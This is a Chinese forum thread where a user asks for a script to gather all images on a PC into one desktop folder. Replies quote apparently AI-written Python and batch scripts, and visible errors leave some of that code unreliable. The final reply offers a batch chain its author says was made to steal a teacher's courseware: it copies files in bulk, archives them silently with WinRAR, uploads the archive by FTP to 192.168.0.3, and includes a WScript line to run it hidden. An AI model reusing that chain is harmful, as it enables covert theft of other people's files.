有没有大佬能写一个脚本,自动读取电脑所有盘的图片?

查看 87|回复 9
作者:16677200081   
工作电脑太久了,需要找到照片太分散,想求助大佬帮写个脚本或者有软件可以直接读取电脑里所有图片,并直接保存在桌面新建文件夹中!!!

大佬, 脚本

42328669425   

ai编写:
要遍历所有磁盘分区并复制图片文件,我们需要对上面的脚本进行一些修改。以下是一个更新后的Python脚本,它会遍历Windows系统中的所有可用磁盘分区,并将找到的图片文件复制到桌面上的一个新文件夹中。
[Python] 纯文本查看 复制代码import os
import shutil
from pathlib import Path
# 图片文件的扩展名列表
image_extensions = ['.jpg', '.jpeg', '.png', '.gif']
# 获取桌面路径
desktop_path = Path.home() / 'Desktop'
# 新建文件夹的名称
new_folder_name = 'Collected_Images'
new_folder_path = desktop_path / new_folder_name
# 如果文件夹不存在,则创建它
if not new_folder_path.exists():
    new_folder_path.mkdir()
# 遍历所有磁盘分区
for drive in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
    drive_path = Path(drive) + ':\\'
    if os.path.exists(drive_path):  # 检查驱动器是否存在
        for root, dirs, files in os.walk(drive_path):
            for file in files:
                if any(file.lower().endswith(ext) for ext in image_extensions):
                    # 构建源文件和目标文件的完整路径
                    src_file_path = Path(root) / file
                    dest_file_path = new_folder_path / file
                    # 复制文件
                    shutil.copy2(src_file_path, dest_file_path)
                    print(f'Copied {src_file_path} to {dest_file_path}')
print('Image collection complete.')
这个脚本会尝试访问从A到Z的所有可能的磁盘分区。如果某个分区存在,它会遍历该分区中的所有文件,并复制符合图片文件扩展名的文件到桌面上的 Collected_Images 文件夹中。
注意事项:
1. 确保你有足够的权限来读取所有磁盘分区和写入桌面。
2. 这个脚本可能会花费一些时间来完成,特别是如果你的磁盘中有大量的文件。
3. 请确保你的桌面有足够的空间来存储所有复制的图片文件。
要运行这个脚本,你需要在你的电脑上安装Python环境,并将脚本保存为 .py 文件,然后在命令行或终端中运行它。如果你不熟悉如何安装Python或运行Python脚本,请查阅相关的教程。
42328669425   

ai编写:
以下是一个简单的批处理脚本示例,它会遍历所有磁盘分区,查找图片文件,并将它们复制到桌面上的新文件夹中。
请按照以下步骤创建和运行批处理脚本:
1. 打开记事本或任何文本编辑器。
2. 将以下代码复制并粘贴到记事本中:
[Patch] 纯文本查看 复制代码@echo off
setlocal enabledelayedexpansion
:: 图片文件的扩展名列表
set "image_extensions=.jpg .jpeg .png .gif"
:: 获取桌面路径
for /f "tokens=2*" %%a in ('reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "Desktop" 2^>nul') do set desktop_path=%%b
:: 新建文件夹的名称
set "new_folder_name=Collected_Images"
set "new_folder_path=%desktop_path%\%new_folder_name%"
:: 如果文件夹不存在,则创建它
if not exist "!new_folder_path!" mkdir "!new_folder_path!"
:: 遍历所有磁盘分区
for /d %%d in (A:,B:,C:,D:,E:,F:,G:,H:,I:,J:,K:,L:,M:,N:,O:,P:,Q:,R:,S:,T:,U:,V:,W:,X:,Y:,Z:) do (
    if exist %%d:\ (
        for /r %%d:\ %%f in (*.jpg *.jpeg *.png *.gif) do (
            echo Copying %%f to !new_folder_path!\%%~nxf
            copy "%%f" "!new_folder_path!\%%~nxf"
        )
    )
)
echo Image collection complete.
pause
3. 保存文件为  collect_images.bat (确保文件类型选择为“所有文件”,而不是默认的“.txt”)。
4. 双击运行  collect_images.bat  文件,它将开始执行。
这个批处理脚本会做以下事情:
定义图片文件的扩展名。
获取当前用户的桌面路径。
创建一个名为  Collected_Images  的新文件夹(如果尚不存在)。
遍历所有可能的磁盘分区(A: 到 Z:),如果分区存在,它会查找并复制所有图片文件到桌面上的新文件夹中。
注意:
这个脚本假设你的系统注册表中有桌面路径的信息。如果注册表信息缺失,脚本可能无法正确获取桌面路径。
批处理脚本的执行权限可能受到限制,确保你有足够的权限来执行脚本。
这个脚本可能需要一些时间来完成,特别是如果你的磁盘中有大量的文件。
16677200081
OP
  


42328669425 发表于 2024-9-5 11:14
ai编写:
以下是一个简单的批处理脚本示例,它会遍历所有磁盘分区,查找图片文件,并将它们复制到桌面上的 ...

ai编写试过了,没有用,保存到的文件夹还是空的
42328669425   


16677200081 发表于 2024-9-5 11:15
ai编写试过了,没有用,保存到的文件夹还是空的

那应该没权限 不过这用everything就可以了吧
直接搜后缀  基本就四个.jpg .jpeg .png .gif
然后复制一下
16677200081
OP
  


42328669425 发表于 2024-9-5 11:19
那应该没权限 不过这用everything就可以了吧
直接搜后缀  基本就四个.jpg .jpeg .png .gif
然后复制 ...

一样没用,应该不是权限的问题
Nettos   

https://www.123pan.com/s/ACPeVv-EIHGA
Nettos   


Nettos 发表于 2024-9-5 11:38
https://www.123pan.com/s/ACPeVv-EIHGA

会在桌面新建Collected_Images文件夹,然后会检索你电脑所有盘符把图片给你复制到Collected_Images文件夹里
YUYELOVE   

试试这个?
[Python] 纯文本查看 复制代码import os
import shutil
def search_file(filepath, suffix_list, output_folder):
    files = os.listdir(filepath)
    for file in files:
        file_full_path = os.path.join(filepath, file)
        
        if os.path.isdir(file_full_path):
            search_file(file_full_path, suffix_list, output_folder)
        else:
            suffix = file.split(".")[-1]
            if suffix in suffix_list:
                shutil.copy(file_full_path, output_folder)
if __name__ == "__main__":
    suffix_list = ['jpg', 'jpeg', 'png', 'gif']
    pathList = ["d:/", "e:/"]
    output_folder = "c:/pics"
    if not os.path.exists(output_folder):
        os.makedirs(output_folder)
    for path in pathList:
        search_file(path, suffix_list, output_folder)
lynxii   

rem 你想要的开始了!
@echo on
REM
for %%i in (e f g h i j) do for /f "delims=" %%a in ('dir /a-d /s /b %%i:\*.ppt') do copy "%%a" %cd:~0,1%:\1
exit
之前写的偷老师课件的批处理,PPT改成你要的图片格式试试
自动打包,根据电脑上的压缩软件来
@echo off
"C:\Program Files\WinRAR\WinRAR.exe" a -m5 -t -inul -ibck c:\1.rar c:\1
exit
上传ftp
@echo off
echo open 192.168.0.3 >b
echo anonymous >>b
echo anonymous >>b
echo bin >>b
echo prompt >>b
echo cd 201教室>>b
echo mput c:\1.rar >>b
ftp -s:b
del b
静默运行批处理
CreateObject("WScript.Shell").Run "cmd /c2搜索并复制.bat",0
您需要登录后才可以回帖 登录 | 立即注册

返回顶部